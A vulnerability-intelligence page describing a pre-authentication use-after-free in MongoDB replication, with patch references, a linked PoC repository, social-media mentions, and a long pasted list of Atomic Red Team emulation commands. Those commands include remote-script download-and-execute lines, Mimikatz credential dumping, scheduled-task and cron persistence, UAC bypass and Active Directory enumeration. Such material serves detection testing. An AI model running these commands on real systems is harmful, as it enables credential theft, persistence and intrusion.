CVE-2026-118383
Overview
This vulnerability is a use-after-free condition occurring within the replication component of MongoDB Server. The flaw arises when a newly elected replica set primary completes its catch-up phase, leading to improper memory handling. The affected components include replica set members such as shard and config server replica sets in sharded clusters, while standalone mongod instances are not impacted.
Vulnerability Description
A use-after-free in the replication component of MongoDB Server can occur when a newly elected replica set primary completes catch-up. The condition can be caused by requests that do not require authentication, and may result in the server terminating unexpectedly or, under certain conditions, arbitrary code execution in the context of the server process. Replica set members are affected, including the shard and config server replica set members of sharded clusters; standalone mongod instances are not.
Impact
An unauthenticated attacker can exploit this vulnerability to cause the MongoDB server process to crash or execute arbitrary code with server-level privileges. This enables full compromise of affected replica set members, including those in sharded clusters, potentially leading to data exposure, unauthorized data manipulation, or denial of service. No authentication or user interaction is required to trigger the flaw, increasing the attack surface in environments using replica sets for high availability and sharding.
Solution
MongoDB has addressed this vulnerability in patched releases as documented in the MongoDB Jira tickets SERVER-138119 and SERVER-138175. Users should upgrade affected MongoDB Server instances to the fixed versions specified in these advisories. Detailed patch instructions and version-specific remediation steps are available through the MongoDB official issue tracker and release notes. No alternative workarounds have been recommended by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
googlesky/CVE-2026-118383
PoC for CVE-2026-118383 — MongoDB unauthenticated use-after-free in ReplicationCoordinatorImpl::CatchupState during prim...
|
googlesky | 2 | 0 | 2026-11-11 | View |
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Database
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
98 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'
cd $HOME
curl -O #{remote_url}/art
curl -O #{remote_url}/gta.db
curl -O #{remote_url}/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;
$startingDirectory = "#{starting_directory}"
$outputZip = "#{output_zip_folder_path}"
$fileExtensionsString = "#{file_extensions}"
$fileExtensions = $fileExtensionsString -split ", "
New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null
Function Search-Files {
param (
[string]$directory
)
$files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
$fileExtensions -contains $_.Extension.ToLower()
}
return $files
}
$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
$foundFilePaths = $foundFiles.FullName
Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"
Write-Host "Zip file created: $outputZip\data.zip"
} else {
Write-Host "No files found with the specified extensions."
}
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
schtasks /create /TN "ProactiveScan" /TR "wscript.exe \"%APPDATA%\Microsoft\Chkdsk.js\" -scan Kdw6gG7cpOSZsBeH" /SC ONLOGON /F
Add-Type @'
using System;
using System.Diagnostics;
using System.IO;
public class TopinambourDropper {
public static void unpack_p(string sourceExe) {
string dropPath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "VirtualStore", "certcheck.exe");
Directory.CreateDirectory(Path.GetDirectoryName(dropPath));
File.Copy(sourceExe, dropPath, true);
}
public static void make_some_noise() {
ProcessStartInfo startInfo = new ProcessStartInfo("cmd", "/c schtasks /create /SC MINUTE /MO 30 /TR %%localappdata%%\\VirtualStore\\certcheck.exe /TN VerifiedPublisherCertCheck /F")
{
CreateNoWindow = true,
UseShellExecute = false
};
Process.Start(startInfo).WaitForExit();
}
}
'@
[TopinambourDropper]::unpack_p("#{benign_exe}")
[TopinambourDropper]::make_some_noise()
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (50)
66 mentions from 39 sources in the last 7 days BuzzFactor 98 / 100
-
social bsky.app @status.ionos.cloud.web.brid.gy 2026-11-16 08:00 UTCOpen source
-
social bsky.app @pmloik.bsky.social 2026-11-13 08:42 UTCTop 3 CVE for last 7 days: CVE-2026-69420: 155 interactions CVE-2026-123158: 89 interactions CVE-2026-98432: 82 interactions Top 3 CVE for yesterday: CVE-2026-69420: 155 interactions CVE-2026-119618: 34 interactions CVE-2026-118383: 18 int…Open source
-
social bsky.app @deafnews-auto.bsky.social 2026-11-13 08:12 UTCTwo Anonymous Pings Plant a Time Bomb in MongoDB FailoverOpen source
-
social bsky.app @hacker.at.thenote.app 2026-11-13 07:12 UTCCritical Pre-Auth MongoDB Flaw (CVE-2026-118383) Can Crash Lagging Servers on Failover A critical flaw in MongoDB Server allows an unauthenticated attacker to send two requests that trigger a crash on the database server. The crash occurs…Open source
-
social bsky.app @alt.pds.lefht.cc 2026-11-12 19:15 UTC2. CVE-2026-118383 · 19 people 🟥 Critical 9.5 · MongoDB Server Pre-authentication use-after-free in MongoDB Server replica set primary catch-upOpen source
-
social bsky.app @alt.pds.lefht.cc 2026-11-12 19:15 UTC🛡️ Most-discussed CVEs on Bluesky, last 24h 1. CVE-2026-119618 · 52 people 2. CVE-2026-118383 · 19 people 3. CVE-2026-124194 · 15 people 🔥 4. CVE-2026-125350 · 11 people 🔥 5. CVE-2026-12591 · 8 people 🔥 = on CISA's Known Exploited list · d…Open source
-
social bsky.app @packetstorm.bsky.social 2026-11-12 17:59 UTCCVE-2026-118383: Use-After-Free Vulnerability in MongoDB https://packetstorm.news/news/view/47849 #newsOpen source
-
social infosec.exchange @securityfeed 2026-11-12 16:32 UTC🔒 Security News Digest - 2026-11-12 📊 32 updates from 7 sources: 🔹 The Hacker News: Attacker Used 4,837 Hijacked GitHub Accounts to Run a CI Secret Stealer in 1,806+ Repositories https:// thehackernews.com/2026/11/4837 -hijacked-github-acc…Open source
-
social bsky.app @newssecia.bsky.social 2026-11-12 14:48 UTC🤖 CVE-2026-118383 (CVSS 9.5): pre-auth use-after-free in MongoDB replication. Unauthenticated requests crash the node on primary failover catch-up; RCE possible. Replica sets. Fixed 6.0.30 / 7.0.48 / 8.0.37. https://thehackernews.com/2026/…Open source
-
social infosec.exchange @cloud 2026-11-12 14:47 UTC🤖 CVE-2026-118383 (CVSS 9.5): pre-auth use-after-free in MongoDB replication. Unauthenticated requests crash a node when a newly elected primary completes catch-up; RCE possible in some cases. Affects replica sets, shards and config server…Open source
-
social infosec.exchange @116810780845358081 2026-11-12 14:42 UTCCVE-2026-118383 exposes a pre-authentication use-after-free vulnerability in MongoDB replica set members. The vulnerability can be triggered through crafted `ping` commands containing `readConcern.afterOpTime`, allowing an unauthenticated…Open source
-
social bsky.app @thecybersecguru.com 2026-11-12 14:40 UTCCVE-2026-118383: The Pre-Auth MongoDB Use-After-Free That Crashes a New Primary During Failover CVE-2026-118383 (CVSS 9.5) lets an unauthenticated client crash a new MongoDB primary during failover. Affected versions, root… https://thecybe…Open source
-
other thecybersecguru.com 2026-11-12 14:40 UTCCVE-2026-118383: The Pre-Auth MongoDB Use-After-Free That Crashes a New Primary During Failover CVE-2026-118383 (CVSS 9.5) lets an unauthenticated client crash a new MongoDB primary during failover. Affected versions, root cause, detection…Open source
-
news rescana.com 2026-11-12 14:00 UTCMongoDB Server CVE-2026-118383: Critical 9.5 Pre-Auth Use-After-Free in Replication — Patch Now - RescanaOpen source
-
social bsky.app @infosec.skyfleet.blue 2026-11-12 13:14 UTCCritical MongoDB Flaw Lets Attackers Crash Database Servers With Just Two Ping RequestsOpen source
-
social bsky.app @undercodenews.bsky.social 2026-11-12 13:13 UTCCritical MongoDB Vulnerability CVE-2026-118383 Allows Unauthenticated Attackers to Crash Servers and Potentially Execute Arbitrary Code + Video Introduction: A Critical Memory-Safety Flaw Threatens MongoDB Deployments MongoDB has released…Open source
-
social bsky.app @blackhatnews.tokyo 2026-11-12 12:34 UTCMongoDBに深刻な脆弱性、認証なしの攻撃者がデータベースサーバーをクラッシュさせ、RCEを引き起こす恐れ MongoDBは、CVSS v4.0スコアが9.5に達する深刻なuse-after-free(解放後使用)型のメモリ破壊の脆弱性「CVE-2026-118383」を修正しました。MongoDB Serverのレプリケーションコンポーネントに対し、認証なしのネットワークリクエストを送るだけで、この脆弱性を悪用できます。Open source
-
social bsky.app @blackhatnews.tokyo 2026-11-12 12:33 UTCMongoDBに重大なUse-After-Free脆弱性、認証なしでリモートコード実行の恐れ MongoDBは、重大なuse-after-free(解放後メモリ使用)の脆弱性を修正しました。この脆弱性は「CVE-2026-118383」として追跡されており、CVSSスコアは9.5です。認証を受けていない攻撃者が、ネットワーク経由で悪用できます。 同社は社内でこのバグを発見しており、これまでに悪用の試みは確認しOpen source
-
news news.lavx.hu 2026-11-12 12:31 UTCCritical pre-auth MongoDB flaw can crash lagging servers during failover - news.lavx.huOpen source
-
social bsky.app @tierrasapiens.bsky.social 2026-11-12 12:30 UTC🖲️ #Noticia #CiberSeguridad #Cybersecurity #CiberNoticia Critical Pre-Auth MongoDB Flaw (CVE-2026-118383) Can Crash Lagging Servers on Failover Leer Más / Read More...Open source
-
news cybersecuritynews.com 2026-11-12 12:27 UTCCritical MongoDB Flaw Lets Attackers Crash Database Servers With Just Two Ping Requests - CyberSecurityNewsOpen source
-
news gbhackers.com 2026-11-12 12:25 UTCCritical MongoDB Use-After-Free Vulnerability Allows Remote Code Execution Without Authentication - GBHackers NewsOpen source
-
social bsky.app @chuiho.net 2026-11-12 12:10 UTC[注意]MongoDB CVE-2026-118383、認証前の2要求でサーバーが落ちうる MongoDB Server のレプリカセットに、認証なしで仕込める use-after-free の欠陥 CVE-2026-118383。修正版は 8.0.37・7.0.48 など。当たる条件と確認方法を整理する。 https://chuiho.net/posts/mongodb-cve-2026-118383-preauth-crash/ #MongoDB #CVE2026118…Open source
-
social bsky.app @andregironda.bsky.social 2026-11-12 12:04 UTCMongoDB、レプリカセットの昇格処理にCVSS 9.5の認証不要RCE。4.4~9.0の7系統に修正 joho-todai.com/mongodb-rce-...Open source
-
social bsky.app @sec-news-bot.bsky.social 2026-11-12 12:01 UTCMongoDB CVE-2026-118383: 未認証でレプリカセットをクラッシュさせる重大脆弱性 MongoDB が CVE-2026-118383 を修正。未認証の要求がレプリカセットのラグメンバーをクラッシュさせ、そのメンバーが後にプライマリになる際に問題が発生する脆弱性。すべての運用環境での早急なパッチ適用を推奨。 #CVE #脆弱性 #情報セキュリティOpen source
-
social bsky.app @calimegai.bsky.social 2026-11-12 11:58 UTCFaille critique de pré-authentification (CVE-2026-118383) dans MongoDB : un attaquant non authentifié peut envoyer deux requêtes provoquant le crash d'un nœud qui deviendrait primaire s'il est en retard. Correctifs publiés cette semaine. 🔒…Open source
-
news secnews.gr 2026-11-12 11:53 UTCCVE-2026-118383: MongoDB CVSS 9.5 Critical Vulnerability - SecNews.grOpen source
-
social bsky.app @malice.ai 2026-11-12 11:16 UTCThe pre-authentication use-after-free affects replica set members across seven MongoDB Server release lines; The Hacker News reported on November 12 that it can crash lagging servers on failover.Open source
-
social bsky.app @crustytldr.bsky.social 2026-11-12 11:01 UTC🔒 Critical Pre-Auth MongoDB Flaw (CVE-2026-118383) Can Crash Lagging Servers on Failover A critical flaw in MongoDB Server allows an unauthenticated attacker to send two requests t... https://tinyurl.com/2bgfxxf2 #CyberSecurity #InfoSec #C…Open source
-
